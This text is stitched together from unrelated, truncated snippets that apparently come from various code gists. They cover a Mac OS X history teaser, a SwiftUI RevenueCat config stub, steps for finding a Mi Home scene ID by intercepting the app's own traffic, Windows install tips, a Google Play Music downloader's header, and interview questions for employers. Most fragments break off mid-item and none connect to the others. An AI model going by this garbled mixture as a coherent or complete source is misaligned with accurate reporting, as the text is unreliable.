Understand your Mac and iPhone more deeply by tracing the evolution of Mac OS X from prelease to Swift. John Siracusa delivers the details.

Starting Points

How to use this gist

You've got two main options:

import SwiftUI
import RevenueCat

struct Constants {
    static let apiKey = "<your_api_key>" // Will look like: appl_bunchofotherstuffhere
    static let entitlementName = "<your_entitlement_name>" // I use something like "pro"
}

@main
struct ATinySampleApp: App {

1. Create a manual scene in Mi Home for the device you'd like to control
2. Use Http Toolkit to figure out the scene id.
   • Install the app on PC and Android, follow the instructions - install CA certificate and connect
   • Set to only intercept the Mi home app
   • While snooping, start the scene in Mi home, then you can disconnect http toolkit
   • Look for this request: https://de.api.io.mi.com/app/scene/start
   • The request body should look like this (actual values replaced with *) data=*&rc4_hash__=*&signature=*&_nonce=*&ssecurity=*
   • You will need the values for data, nonce and ssecurity. Run each one by https://www.urldecoder.org/.

• Download this python script: https://gist.github.com/socram8888/4b8949023c8e8153970764d20c935785

🪟 After installing Windows 10/11

Install

You can use https://uupdump.net/ to build up an ISO file (even from Linux or Mac, the options enable you to keep the file size down) and just drop into https://github.com/ventoy/Ventoy and you're good to go.

If you're already running Windows you can do ⊞ Win, Reset this PC for a more convenient ISO download option.

For keys try https://www.microsoft.com/windows/get-windows-11 or local retail store, otherwise check PC Hardware channels on YouTube as they often have links to discounted keys (obviously check if valid/legit, due diligence, etc.)

/*
 *   In terminal:

This is a little script to download every song from every playlist
if your Google Play Music account. Songs are organized as follows:
    <playlist>/<artist>/<album>/<song>.mp3

I Highly recomend putting this file in your %USER%\Music folder
before running.

I bundled these up into groups and wrote some thoughts about why I ask them!

If these helped you, I'd love to hear about it!! I'm on twitter @vcarl_ or send me an email [email protected]

• How long will it take to deploy my first change? To become productive? To understand the codebase?
• What kind of equipment will I be provided? Will the company pay/reimburse me if I want something specific?
